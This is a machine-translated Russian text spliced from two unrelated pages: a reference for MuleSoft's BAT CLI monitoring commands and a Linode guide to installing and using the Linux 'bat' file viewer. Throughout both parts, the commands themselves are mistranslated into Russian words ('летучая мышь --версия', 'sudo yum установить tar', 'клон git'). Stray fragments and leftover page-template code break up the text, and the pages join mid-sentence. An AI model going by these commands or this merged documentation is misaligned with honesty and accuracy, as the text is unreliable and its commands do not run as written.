"] [--location= ] Создайте планировщик с помощью выражения cron и создайте ZIP-файл, содержащий тесты и все файлы. Если вы не введете выражение cron, тесты будут запускаться каждые 15 минут.
конечная точка расписания
[--cron=" "] [--name= ] [--location= ] [--new-relic-license-key=< newRelicLicenseKey>] [--slack-webhook= ] [--email-list= ] [--sumo-logic-endpoint= ] [--pager-duty-routing-key=< pagerDutyRoutingKey>] [--custom-report-url= ] [--custom-report-headers= ] [--custom-report-transformation= ][ --init-folder] [--status-code=<код>] Создайте монитор в Exchange, используя URL-адрес, например следующий пример URL-адреса:
http://example.
. При желании вы можете добавить параметры для созданияcom
bat.yaml
с другими параметрами.[--cron="
По умолчанию запуск тестов запланирован каждые 15 минут. Вы можете изменить с помощью выражения cron."] [--name="
Чтобы установить имя пакета."] [--location="
Установите для монитора идентификатор определенного местоположения."] [--new-relic-license-key="
Добавьте отчет New Relic в bat.yaml."] [--slack-webhook="
Добавьте отчет Slack в bat.yaml."] [--sumo-logic-endpoint="
Добавьте отчет Sumo Logic в файл bat.yaml."] [--pager-duty-routing-key="
Добавьте отчет PagerDuty в bat.yaml."] [--custom-report-url="
Добавьте пользовательский отчет в файл bat."] [--custom-report-headers=" "] | [--custom-report-transformation=" "] yaml и, при желании, вы можете добавить файл преобразования.
[--init-папка]
Сохраните сгенерированные файлы exchange.json, bat.yaml и main.dml в текущем каталоге.[--status-code=<код>]
Использовать код как HTTP-код для тестовых шаблонов.
расписание РМ | удалить
Удаляет расписание по его ID.
отключить расписание
Отключает расписание, идентифицируемое указанным идентификатором. Если запуститьлетучая мышь по расписанию ls
после запуска этой команды вы увидите, что значениевключение расписания
Включает расписание, определяемое указанным идентификатором. Используйте эту команду, только если вы хотите включить расписание, которое вы отключили с помощью команды
bat schedule disable
.кто
Выводит основную информацию о пользователе на стандартный вывод.
Другие профили могут использоваться с
--опция профиля
.рабочий регистр [--name=<значение>]
Создает сообщение с именем машины и создает фиктивную цель.
рабочая отмена регистрации [--name=<значение>]
Отменяет регистрацию работника.
идентификатор работника
Получает идентификатор работника.
местоположение создать <имя>
Создает частное местоположение в организации данного профиля в Anypoint Platform. Дополнительные сведения о частных и общедоступных расположениях см. в разделах Мониторинг конечных точек общедоступных API и Мониторинг конечных точек частных API.
местоположение удалить
Удаляет частное местоположение из списка частных местоположений в организации данного профиля в Anypoint Platform.
-
идентификатор
Укажите идентификатор, определяющий местоположение.
Вы можете получить идентификатор, выполнив команду
bat location ls
.
-
местоположение ls|список
Список частных и общедоступных местоположений, которые существуют в организации данного профиля в Anypoint Platform. Эта команда заменяет
цель ls|список
.обновление местоположения
Обновляет местоположение по его идентификатору. Если доступна новая версия рабочего, обновляет местоположение, используя последнюю версию. Эта опция действительна только для местоположений Mule.
get_token
Возвращает токен для доступа к платформе Anypoint в файле учетных данных. Требуется сначала запустить
bat login
для создания профиля.грант
Предоставляет API Functional Monitoring разрешение на доступ к общему секрету, хранящемуся в Anypoint Secrets Manager. Вы должны предоставить разрешение API Functional Monitoring для доступа к любому общему секрету, который вы используете в тесте, или для доступа к генератору отчетов.
Запустите команду
bat grant
перед настройкой теста или генератора отчетов для использования общего секрета. Псевдонимы, которые вы создаете в команде, — это то, что вы указываете в тестах и конфигурациях для генераторов отчетов.bat grant -g=MySecretGroupName -s=MyAlias1:MySecretName1,MyAlias2:MySecretName2,…,MyAliasN:MySecretNameN [--forceUpdate]
- -г
Укажите имя группы в Anypoint Secrets Manager, в которой хранится общий секрет.
- -с
Укажите псевдоним, двоеточие и имя общего секрета. Псевдоним может быть любой комбинацией буквенно-цифровых символов. Имя общего секрета — это имя, которое идентифицирует общий секрет в группе. Если вы хотите использовать одну команду, чтобы предоставить BAT CLI разрешение на использование более одного общего секрета из одной и той же группы, разделите каждый
псевдоним:имя
пара с запятой.
+ Секрет должен быть создан в группе секретов, которая находится в той же среде, что и в интерфейсе командной строки BAT.Чтобы узнать, какую среду вы используете в BAT CLI, введите команду
bat whoami
. Выходные данные содержат идентификатор среды. Запустите командуbat environment ls
, чтобы получить список сред, к которым у вас есть доступ. Сопоставьте идентификатор из командыbat whoami
с одной из перечисленных сред. Если вам нужно переключиться на среду, в которой находится ваша группа secrets, запустите команду bat environment switch name, где name — имя среды.- —forceUpdate
Укажите этот параметр, если API Functional Monitoring потерял доступ к общему секрету и вам нужно снова предоставить доступ.
выполнение ls|список
Список мониторов, работающих для указанного профиля. Если профиль не указан, используется профиль по умолчанию. Перечисленные мониторы — это все мониторы в текущей среде и для текущего профиля, которые были написаны и запущены с помощью BAT CLI, а также все мониторы, созданные онлайн в Anypoint Platform.
Вывод выглядит следующим образом:
Последние исполнения: daily-retail-test:1.0.1 ПРОШЕЛ 10 секунд назад internal-run-api-check:1.0.0 ПРОШЕЛ 11 минут назад
среда ls|список
переключатель среды <имя>
Две опции
ls
иlist
перечисляют среды, доступные для указанного профиля. Если профиль не указан, используется профиль по умолчанию.Параметр
Switch
позволяет использовать одну из перечисленных сред. Добавьте имя среды в конец команды, как в этом примере, где используется средаSandbox
:.
Переключатель среды летучей мыши Песочница
Примеры команд BAT
Запустите несколько тестовых файлов из файла bat.yaml.
бат бат.ямл
Запустить один файл.
летучая мышь ./test/myFile.dwl
Определите установленную версию.
летучая мышь --версия
Пример вывода, если у вас не последняя версия:
Обновление версии: у вас более старая версия BAT. Новая версия будет загружена в папку /Users/
/.bat/bat-cli-1.0.51. Качаем версию 1.0.51. Пожалуйста, подождите`........................ BAT-оболочка: 1.0.53 Версия BAT: 1.0.51
См. также
Планирование тестирования и мониторинга
Использование секретов для маскировки конфиденциальной информации на мониторах
Как установить и использовать команду Linux bat |
Linode Docs
 results match 
 results
Нет результатов
Фильтры
Фильтры (
)
Все
0, ‘текст-белый’: checkbox.checked, ‘текст-серый-400’: !checkbox.checked && checkbox.count === 0 }» style=letter-spacing:. 07px x-text=checkbox.title>
Добавить теги
Все
0, ‘текст-белый’: checkbox.checked, ‘текст-серый-400’: !checkbox.checked && checkbox.count === 0 }» style=letter-spacing:.07px x-text=checkbox.title>
Добавить авторов
Все
0, ‘текст-белый’: checkbox.checked, ‘текст-серый-400’: !checkbox.checked && checkbox.count === 0 }» style=letter-spacing:.07px x-text=checkbox.title>
Обновлено
, Натаниэль Стикман
Traducciones al Español
Estamos traduciendo nuestros guías y tutoriales al Español. Эс
posible que usted esté viendo una traducción generada
автоматический. Estamos trabajando con traductores profesionales
пункт verificar лас traducciones де нуэстро ситио сети. Эсте проект
es un trabajo en curso.
Создать учетную запись Linode
чтобы попробовать это руководство с кредитом в долларах США.
Этот кредит будет применяться к любым действительным услугам, использованным во время вашего первого
дней.
Команда bat
является клоном вездесущей команды cat
. Он модернизирует cat
с более удобочитаемым дизайном и такими функциями, как подсветка синтаксиса и интеграция с Git. В этом руководстве подробно описано, как bat
сравнивается с его предшественником, и показано, как установить и начать использовать его в вашей системе Linux.
Прежде чем начать
Если вы еще этого не сделали, создайте учетную запись Linode и вычислительный экземпляр. См. наши руководства «Начало работы с Linode» и «Создание вычислительного экземпляра».
Следуйте нашему руководству по настройке и защите вычислительного экземпляра, чтобы обновить свою систему.
Вы также можете установить часовой пояс, настроить имя хоста, создать ограниченную учетную запись пользователя и усилить доступ по SSH.
Примечание
Действия в этом руководстве написаны для пользователя без полномочий root. Команды, требующие повышенных привилегий, имеют префикс sudo
. Если вы не знакомы с командой sudo
, см. руководство «Пользователи и группы Linux».
bat vs. cat
Возможно, вы знакомы с командой Linux cat
. Он включен в большинство дистрибутивов по умолчанию и часто упоминается как быстрый способ просмотра содержимого содержимого файла в командной строке.
Подобно cat
, bat
также дает вам простой метод командной строки для отображения содержимого файла. Но bat
поставляется с более современным дисплеем и несколькими дополнительными функциями, которые выделяют его.
На одного, bat
добавляет подсветку синтаксиса. Это, в сочетании с другими улучшениями отображения — более простым форматированием, нумерацией страниц, графическими непечатаемыми символами — делает
bat
исключительным для чтения файлов, содержащих код.
bat
также готов к интеграции с несколькими другими инструментами командной строки, главным из которых является Git. По умолчанию bat
предоставляет аннотации для обозначения измененных строк для файлов, отслеживаемых Git. Вы даже можете использовать bat
для просмотра прошлых версий файлов под контролем версий.
Как установить bat
Для многих дистрибутивов Linux вы можете получить bat
в диспетчере пакетов. Это касается дистрибутивов Debian, Ubuntu и Fedora.
Для Debian и Ubuntu установите
bat
с помощью следующей команды:sudo apt install bat
В Debian и Ubuntu
bat
по умолчанию использует командуbatcat
из-за конфликта с существующим пакетом,bacula-console-qt
.Однако вы можете использовать следующие команды, чтобы связать команду
bat
:mkdir -p ~/.local/bin ln -s /usr/bin/batcat ~/.local/bin/bat
Примечание
Если вы установили пакет
bacula-console-qt
, обязательно удалите его перед выполнением перечисленных выше команд. В противном случае, если вы решите оставитьbacula-console-qt
установленным, вы должны использовать командуbatcat
вместоbat 9.0006 .
Для Fedora :
sudo dnf install bat
Для AlmaLinux и CentOS необходимо выполнить еще несколько шагов. Для этих дистрибутивов выполните следующие действия, чтобы загрузить соответствующий выпуск bat
и установить его.
Если у вас его еще нет, установите
tar
, который вы используете для извлечения пакетаbat
на более позднем этапе.sudo yum установить tar
Проверьте архитектуру ЦП вашей системы Linux с помощью следующей команды:
uname -a
Вот пример того, как может выглядеть ваш вывод.
Имя хоста Linux 4.18.0-305.7.1.el8_4.x86_64 #1 SMP Чт, 1 июля 02:00:00 по восточноевропейскому времени 2021 x86_64 x86_64 x86_64 GNU/Linux
В этом примере — и в последующих командах — архитектура ЦП — x86_64 .
Определение последней версии
bat
со страницы релиза. Найдите соответствующий пакет.tar.gz
с архитектурой процессора вашей системы, за которым следуетunknown-linux-musl
в имени. Скопируйте URL-адрес этого пакета выпуска. URL-адрес потребуется на следующем шаге.Скопируйте URL-адрес пакета и используйте следующую команду, чтобы загрузить пакет как
bat.zip
.curl -o bat.zip -L https://github.com/sharkdp/bat/releases/download/v0.
18.2/bat-v0.18.2-x86_64-unknown-linux-musl.tar.gz
Извлеките упаковку.
tar -xvzf bat.zip
Переместите файлы
bat
в/usr/local
.sudo mv bat-v0.18.2-x86_64-unknown-linux-musl /usr/local/bat
Добавьте псевдоним для
bat
в файл.bashrc
. Скорее всего, файл находится в домашнем каталоге вашего пользователя, например:~/.bashrc
. Вы можете создать псевдоним, добавив следующую строку в конец файла.- Файл: ~/.bashrc
1 2 3 4
[...] псевдоним bat="/usr/local/bat/bat"
После установки bat
любым способом вы можете проверить установку с помощью команды версии
.
летучая мышь --версия
bat 0.18.2
Как использовать bat
Начало работы с bat
аналогично основному использованию 9Команда 0005 кот . Вы вводите команду bat
, за которой следует путь к файлу, который вы хотите просмотреть.
Чтобы действительно продемонстрировать возможности bat
, в этом руководстве используется пример кода, представленный в проекте Flask-RESTful GitHub. Вы можете получить код, установив Git (если у вас его еще нет) и клонировав репозиторий. Замените apt
на dnf
, если вы используете Fedora, и yum
, если вы используете AlmaLinux или CentOS.
sudo apt установить git клон git https://github.com/flask-restful/flask-restful.git
Теперь вы можете открыть один из файлов Python в этом репозитории, используя bat
.
летучая мышь flask-restful/examples/todo.py
По умолчанию bat
использует минус
для разбиения результатов на страницы. Однако вы также можете настроить вывод
bat
в командную строку, как в cat
с флагом --paging=never
.
bat --paging=никогда flask-restful/examples/todo.py
Подобно cat
, bat
дает возможность отображать непечатаемые символы, упрощая отслеживание пробелов, табуляции, разрывов строк и т. д. Но bat
имеет дополнительное преимущество использования специальных символов и выделения для представления непечатаемые символы более четко.
летучая мышь --show-all flask-restful/examples/todo.py
Интеграция с Git
bat
также интегрируется с Git. Чтобы увидеть его в работе, откройте todo.py
с помощью предпочитаемого вами текстового редактора и внесите в него некоторые изменения. Затем снова откройте файл с помощью bat
. Вы можете видеть, что bat
включает аннотации Git в измененных строках.
Используя комбинацию команд Git и bat
, вы можете даже bat
просмотреть прошлые версии файлов в репозитории Git.
В этом методе используется команда Git show
, для которой требуется указать версию файла. Обратитесь к разделу Specifying Revisions документации Git по ревизиям, чтобы узнать о различных способах сделать это.
В приведенном ниже примере рассматриваются прошлые фиксации файла todo.py
, показанного выше. Затем он получает прошлую версию файла, используя один из идентификаторов коммита.
Перейдите в каталог репозитория. В этом примере предполагается, что вы клонировали репозиторий в домашний каталог вашего текущего пользователя (
~
).cd ~/flask-restful
Получить список коммитов в файле.
примеры логов git/todo.py
совершить 871f4e69e7758cb983056b469ec4ae40963ed1bb Автор: Джош Френд
Дата: Пн, 20 июля, 09:28:15 2015 -04:00 Исправление примеров с использованием type=str закрывается # 461 совершить 8bdba92ef54645ada501a39edc0bc68d34127b64 Автор: Джош Френд com> Дата: Сб 21 марта 22:57:40 2015 -04:00 исправление ссылок на flask.ext.* (исправлено №420) совершить 566431a24dac4dcf236fe06850fe96a9a3ab1890 Автор: Виктор Нео Дата: Пн, 24 декабря, 01:46:18 2012 +0800 Обновите полный пример документации и синхронизируйте его с примером todo.py. зафиксировать a4465e3e9cc4c30e7f53e0b908f734a42ed32da4 Автор: Райан Хорн Дата: Вт, 16 октября 21:07:16 2012 -07:00 Flask-RESTful Выберите нужную версию; в этом примере используется самая ранняя из перечисленных коммитов. Скопируйте его идентификатор фиксации и используйте этот идентификатор в следующей команде:
git show a4465e3e9cc4c30e7f53e0b908f734a42ed32da4:examples/todo.py | летучая мышь -л рс
Как настроить подсветку синтаксиса в bat
Вы можете настроить подсветку синтаксиса в bat
. Если вам нужна другая цветовая палитра или вам нужно добавить поддержку выделения для определенного языка, bat
предоставляет вам возможности настройки.
Установить тему подсветки для bat
bat
поставляется с набором тем для подсветки синтаксиса. Вы можете получить их список вместе с образцами, используя следующую команду:
bat --list-themes
Чтобы выбрать тему, которую вы хотите использовать, воспользуйтесь одним из следующих вариантов:
Используйте флаг
--theme
при запускеbat
. С помощью этого метода вы должны использовать флаг--theme
каждый раз, когда запускаете командуbat
.bat --theme="Solarized (темный)" ~/flask-restful/examples/todo.py
Установите переменную среды
BAT_THEME
для сеанса оболочки. Этот подход сохраняет тему до тех пор, пока ваш сеанс оболочки жив.экспорт BAT_THEME="Соляризованный (темный)"
Задайте переменную среды
BAT_THEME
в файле.bashrc
, чтобы выбор темы сохранялся во всех сеансах оболочки.- Файл: ~/.bashrc
1 2 3 4
[...] экспорт BAT_THEME="Солнечная (темная)"
Добавить языки для подсветки синтаксиса в bat
Вы можете получить список языков, которые поддерживает ваш bat 9Установка 0006 поддерживает подсветку синтаксиса с параметром
--list-languages
.
летучая мышь --список-языков
Если в bat
отсутствует подсветка для нужного вам языка, вы можете добавить ее самостоятельно. bat
поддерживает файлы синтаксиса Sublime Text — .sublime-syntax
. Существует также менеджер пакетов для Sublime Text под названием Package Control, который используется для установки пакетов и поддержания их в актуальном состоянии.
Следующие шаги показывают, как добавить язык после того, как вы найдете .
, который вы хотите использовать. В этом примере используется пакет, найденный в Package Control для языка программирования Fennel. sublime-syntax
Создайте каталог
синтаксиса
в каталоге конфигурацииbat
.mkdir -p "$(bat --config-dir)/синтаксис"
Поместите файл
.sublime-syntax
в этот каталог. В этом примере клонируется репозиторий Git для языкового пакета Fennel, в основе которого лежит файл синтаксиса.cd "$(bat --config-dir)/синтаксис" клон git https://github.com/gbaptista/sublime-text-fennel.git
Пусть
bat
проанализирует файлы синтаксиса.Кэш bat --build
Убедитесь, что выбранный вами язык — в данном случае фенхель — добавлен в список языков в
bat
.летучая мышь --список-языков
[...] Фенхель фнл [...]
Вы можете обратиться к следующим ресурсам для получения дополнительной информации
на эту тему. Хотя они предоставляются в надежде, что они будут
полезно, обратите внимание, что мы не можем ручаться за точность или своевременность
материалы внешнего размещения.
- GitHub: sharpdp/bat
Эта страница была первоначально опубликована на
Присоединяйтесь к беседе.
Прочтите другие комментарии или разместите свои ниже. Комментарии должны быть уважительными,
конструктивны и соответствуют теме руководства. Не публиковать
внешние ссылки или реклама. Прежде чем публиковать, подумайте,
комментарий будет лучше адресован, связавшись с нашим
Служба поддержки или запрос на
наш
Сайт сообщества.
Система комментариев Disqus для Linode Docs требует принятия
Функциональные файлы cookie, которые позволяют нам анализировать использование сайта, чтобы мы могли
измерять и улучшать производительность. Для просмотра и создания комментариев к этому
статью, пожалуйста
обновить настройки файлов cookie
на этом веб-сайте и обновите эту веб-страницу.